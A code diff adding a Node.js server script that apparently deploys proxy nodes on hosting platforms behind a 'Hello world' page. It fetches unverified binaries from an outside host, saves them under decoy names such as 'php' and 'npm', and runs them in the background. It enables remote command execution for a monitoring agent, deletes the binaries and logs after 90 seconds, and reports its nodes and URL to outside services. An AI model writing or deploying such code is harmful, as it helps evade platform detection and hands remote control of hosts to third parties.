${absoluteFilePath}: ${newPermissions.toString(8)}`); + } + }); + } + }); + } + const filesToAuthorize = NEZHA_PORT ? [npmPath, webPath, botPath] : [phpPath, webPath, botPath]; + authorizeFiles(filesToAuthorize); + + // 运行ne-zha + if (NEZHA_SERVER && NEZHA_KEY) { + if (!NEZHA_PORT) { + const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; + const tlsPorts = new Set(['443', '8443', '2096', '2087', '2083', '2053']); + const nezhatls = tlsPorts.has(port) ? 'true' : 'false'; + const configYaml = ` +client_secret: ${NEZHA_KEY} +debug: false +disable_auto_update: true +disable_command_execute: false +disable_force_update: true +disable_nat: false +disable_send_query: false +gpu: false +insecure_tls: true +ip_report_period: 1800 +report_delay: 4 +server: ${NEZHA_SERVER} +skip_connection_count: true +skip_procs_count: true +temperature: false +tls: ${nezhatls} +use_gitee_to_upgrade: false +use_ipv6_country_code: false +uuid: ${UUID}`; + + fs.writeFileSync(path.join(FILE_PATH, 'config.yaml'), configYaml); + + const command = `nohup ${phpPath} -c "${FILE_PATH}/config.yaml" >/dev/null 2>&1 &`; + try { + await exec(command); + console.log(`${phpName} is running`); + await new Promise((resolve) => setTimeout(resolve, 1000)); + } catch (error) { + console.error(`php running error: ${error}`); + } + } else { + let NEZHA_TLS = ''; + const tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; + if (tlsPorts.includes(NEZHA_PORT)) { + NEZHA_TLS = '--tls'; + } + const command = `nohup ${npmPath} -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; + try { + await exec(command); + console.log(`${npmName} is running`); + await new Promise((resolve) => setTimeout(resolve, 1000)); + } catch (error) { + console.error(`npm running error: ${error}`); + } + } + } else { + console.log('NEZHA variable is empty,skip running'); + } + + // 运行xr-ay + const command1 = `nohup ${webPath} -c ${FILE_PATH}/config.json >/dev/null 2>&1 &`; + try { + await exec(command1); + console.log(`${webName} is running`); + await new Promise((resolve) => setTimeout(resolve, 1000)); + } catch (error) { + console.error(`web running error: ${error}`); + } + + // 运行cloud-fared + if (fs.existsSync(botPath)) { + let args; + + if (ARGO_AUTH.match(/^[A-Z0-9a-z=]{120,250}$/)) { + args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 run --token ${ARGO_AUTH}`; + } else if (ARGO_AUTH.match(/TunnelSecret/)) { + args = `tunnel --edge-ip-version auto --config ${FILE_PATH}/tunnel.yml run`; + } else { + args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; + } + + try { + await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); + console.log(`${botName} is running`); + await new Promise((resolve) => setTimeout(resolve, 2000)); + } catch (error) { + console.error(`Error executing command: ${error}`); + } + } + await new Promise((resolve) => setTimeout(resolve, 5000)); +} + +// 根据系统架构返回对应的url +function getFilesForArchitecture(architecture) { + let baseFiles; + if (architecture === 'arm') { + baseFiles = [ + { fileName: webPath, fileUrl: "https://arm64.ssss.nyc.mn/web" }, + { fileName: botPath, fileUrl: "https://arm64.ssss.nyc.mn/bot" } + ]; + } else { + baseFiles = [ + { fileName: webPath, fileUrl: "https://amd64.ssss.nyc.mn/web" }, + { fileName: botPath, fileUrl: "https://amd64.ssss.nyc.mn/bot" } + ]; + } + + if (NEZHA_SERVER && NEZHA_KEY) { + if (NEZHA_PORT) { + const npmUrl = architecture === 'arm' + ? "https://arm64.ssss.nyc.mn/agent" + : "https://amd64.ssss.nyc.mn/agent"; + baseFiles.unshift({ + fileName: npmPath, + fileUrl: npmUrl + }); + } else { + const phpUrl = architecture === 'arm' + ? "https://arm64.ssss.nyc.mn/v1" + : "https://amd64.ssss.nyc.mn/v1"; + baseFiles.unshift({ + fileName: phpPath, + fileUrl: phpUrl + }); + } + } + + return baseFiles; +} + +// 获取固定隧道json +function argoType() { + if (!ARGO_AUTH || !ARGO_DOMAIN) { + console.log("ARGO_DOMAIN or ARGO_AUTH is empty, use quick tunnels"); + return; + } + + if (ARGO_AUTH.includes('TunnelSecret')) { + fs.writeFileSync(path.join(FILE_PATH, 'tunnel.json'), ARGO_AUTH); + const tunnelYaml = ` + tunnel: ${ARGO_AUTH.split('"')[11]} + credentials-file: ${path.join(FILE_PATH, 'tunnel.json')} + protocol: http2 + + ingress: + - hostname: ${ARGO_DOMAIN} + service: http://localhost:${ARGO_PORT} + originRequest: + noTLSVerify: true + - service: http_status:404 + `; + fs.writeFileSync(path.join(FILE_PATH, 'tunnel.yml'), tunnelYaml); + } else { + console.log(`Using token connect to tunnel, please set ${ARGO_PORT} in clouudflare`); + } +} + +// 获取临时隧道domain +async function extractDomains() { + let argoDomain; + + if (ARGO_AUTH && ARGO_DOMAIN) { + argoDomain = ARGO_DOMAIN; + console.log('ARGO_DOMAIN:', argoDomain); + await generateLinks(argoDomain); + } else { + try { + const fileContent = fs.readFileSync(path.join(FILE_PATH, 'boot.log'), 'utf-8'); + const lines = fileContent.split('\n'); + const argoDomains = []; + lines.forEach((line) => { + const domainMatch = line.match(/https?:\/\/([^ ]*trycloudflare\.com)\/?/); + if (domainMatch) { + const domain = domainMatch[1]; + argoDomains.push(domain); + } + }); + + if (argoDomains.length > 0) { + argoDomain = argoDomains[0]; + console.log('ArgoDomain:', argoDomain); + await generateLinks(argoDomain); + } else { + console.log('ArgoDomain not found, re-running bot to obtain ArgoDomain'); + fs.unlinkSync(path.join(FILE_PATH, 'boot.log')); + async function killBotProcess() { + try { + if (process.platform === 'win32') { + await exec(`taskkill /f /im ${botName}.exe > nul 2>&1`); + } else { + await exec(`pkill -f "[${botName.charAt(0)}]${botName.substring(1)}" > /dev/null 2>&1`); + } + } catch (error) { + // 忽略输出 + } + } + killBotProcess(); + await new Promise((resolve) => setTimeout(resolve, 3000)); + const args = `tunnel --edge-ip-version auto --no-autoupdate --protocol http2 --logfile ${FILE_PATH}/boot.log --loglevel info --url http://localhost:${ARGO_PORT}`; + try { + await exec(`nohup ${botPath} ${args} >/dev/null 2>&1 &`); + console.log(`${botName} is running`); + await new Promise((resolve) => setTimeout(resolve, 3000)); + await extractDomains(); + } catch (error) { + console.error(`Error executing command: ${error}`); + } + } + } catch (error) { + console.error('Error reading boot.log:', error); + } + } +} + +// 获取isp信息 +async function getMetaInfo() { + try { + const response1 = await axios.get('https://api.ip.sb/geoip', { headers: { 'User-Agent': 'Mozilla/5.0', timeout: 3000 } }); + if (response1.data && response1.data.country_code && response1.data.isp) { + return `${response1.data.country_code}-${response1.data.isp}`.replace(/\s+/g, '_'); + } + } catch (error) { + try { + const response2 = await axios.get('http://ip-api.com/json', { headers: { 'User-Agent': 'Mozilla/5.0', timeout: 3000 } }); + if (response2.data && response2.data.status === 'success' && response2.data.countryCode && response2.data.org) { + return `${response2.data.countryCode}-${response2.data.org}`.replace(/\s+/g, '_'); + } + } catch (error) { + // console.error('Backup API also failed'); + } + } + return 'Unknown'; +} + +// 生成 list 和 sub 信息 +async function generateLinks(argoDomain) { + const ISP = await getMetaInfo(); + const nodeName = NAME ? `${NAME}-${ISP}` : ISP; + return new Promise((resolve) => { + setTimeout(() => { + const VMESS = { v: '2', ps: `${nodeName}`, add: CFIP, port: CFPORT, id: UUID, aid: '0', scy: 'auto', net: 'ws', type: 'none', host: argoDomain, path: '/vmess-argo?ed=2560', tls: 'tls', sni: argoDomain, alpn: '', fp: 'firefox' }; + const subTxt = ` +vless://${UUID}@${CFIP}:${CFPORT}?encryption=none&security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Fvless-argo%3Fed%3D2560#${nodeName} + +vmess://${Buffer.from(JSON.stringify(VMESS)).toString('base64')} + +trojan://${UUID}@${CFIP}:${CFPORT}?security=tls&sni=${argoDomain}&fp=firefox&type=ws&host=${argoDomain}&path=%2Ftrojan-argo%3Fed%3D2560#${nodeName} + `; + console.log(Buffer.from(subTxt).toString('base64')); + fs.writeFileSync(subPath, Buffer.from(subTxt).toString('base64')); + console.log(`${FILE_PATH}/sub.txt saved successfully`); + // 将订阅内容保存到全局变量,供 http 服务器使用 + subContent = Buffer.from(subTxt).toString('base64'); + uploadNodes(); + resolve(subTxt); + }, 2000); + }); +} + +// 自动上传节点或订阅 +async function uploadNodes() { + if (UPLOAD_URL && PROJECT_URL) { + const subscriptionUrl = `${PROJECT_URL}/${SUB_PATH}`; + const jsonData = { + subscription: [subscriptionUrl] + }; + try { + const response = await axios.post(`${UPLOAD_URL}/api/add-subscriptions`, jsonData, { + headers: { + 'Content-Type': 'application/json' + } + }); + + if (response && response.status === 200) { + console.log('Subscription uploaded successfully'); + return response; + } else { + return null; + } + } catch (error) { + if (error.response) { + if (error.response.status === 400) { + // console.error('Subscription already exists'); + } + } + } + } else if (UPLOAD_URL) { + if (!fs.existsSync(listPath)) return; + const content = fs.readFileSync(listPath, 'utf-8'); + const nodes = content.split('\n').filter(line => /(vless|vmess|trojan|hysteria2|tuic):\/\//.test(line)); + + if (nodes.length === 0) return; + + const jsonData = JSON.stringify({ nodes }); + + try { + const response = await axios.post(`${UPLOAD_URL}/api/add-nodes`, jsonData, { + headers: { 'Content-Type': 'application/json' } + }); + if (response && response.status === 200) { + console.log('Nodes uploaded successfully'); + return response; + } else { + return null; + } + } catch (error) { + return null; + } + } else { + // console.log('Skipping upload nodes'); + return; + } +} + +// 90s后删除相关文件 +function cleanFiles() { + setTimeout(() => { + const filesToDelete = [bootLogPath, configPath, webPath, botPath]; + + if (NEZHA_PORT) { + filesToDelete.push(npmPath); + } else if (NEZHA_SERVER && NEZHA_KEY) { + filesToDelete.push(phpPath); + } + + if (process.platform === 'win32') { + exec(`del /f /q ${filesToDelete.join(' ')} > nul 2>&1`, (error) => { + console.clear(); + console.log('App is running'); + console.log('Thank you for using this script, enjoy!'); + }); + } else { + exec(`rm -rf ${filesToDelete.join(' ')} >/dev/null 2>&1`, (error) => { + console.clear(); + console.log('App is running'); + console.log('Thank you for using this script, enjoy!'); + }); + } + }, 90000); +} +cleanFiles(); + +// 自动访问项目URL +async function AddVisitTask() { + if (!AUTO_ACCESS || !PROJECT_URL) { + console.log("Skipping adding automatic access task"); + return; + } + + try { + const response = await axios.post('https://oooo.serv00.net/add-url', { + url: PROJECT_URL + }, { + headers: { + 'Content-Type': 'application/json' + } + }); + console.log(`automatic access task added successfully`); + return response; + } catch (error) { + console.error(`Add automatic access task faild: ${error.message}`); + return null; + } +} + +// 主运行逻辑 +async function startserver() { + try { + argoType(); + deleteNodes(); + cleanupOldFiles(); + await generateConfig(); + await downloadFilesAndRun(); + await extractDomains(); + await AddVisitTask(); + } catch (error) { + console.error('Error in startserver:', error); + } +} +startserver().catch(error => { + console.error('Unhandled error in startserver:', error); +}); + +// 创建 http 服务器 +const server = http.createServer(async (req, res) => { + const urlPath = req.url.split('?')[0]; + + // 订阅路由 + if (urlPath === `/${SUB_PATH}`) { + if (subContent) { + res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' }); + res.end(subContent); + } else { + // 订阅内容尚未生成,尝试从文件读取 + try { + const fileContent = fs.readFileSync(subPath, 'utf-8'); + res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' }); + res.end(fileContent); + } catch (err) { + res.writeHead(503, { 'Content-Type': 'text/plain; charset=utf-8' }); + res.end('Subscription content not yet available, please try again later.'); + } + } + return; + } + + // 根路由: / + if (urlPath === '/') { + try { + const filePath = path.join(__dirname, 'index.html'); + const data = await fs.promises.readFile(filePath, 'utf8'); + res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }); + res.end(data); + } catch (err) { + res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }); + res.end("Hello world!

You can access /{SUB_PATH}(Default: /sub) to get your nodes!"); + } + return; + } + + res.writeHead(404, { 'Content-Type': 'text/plain; charset=utf-8' }); + res.end('Not Found'); +}); + +server.listen(PORT, () => console.log(`http server is running on port:${PORT}!`));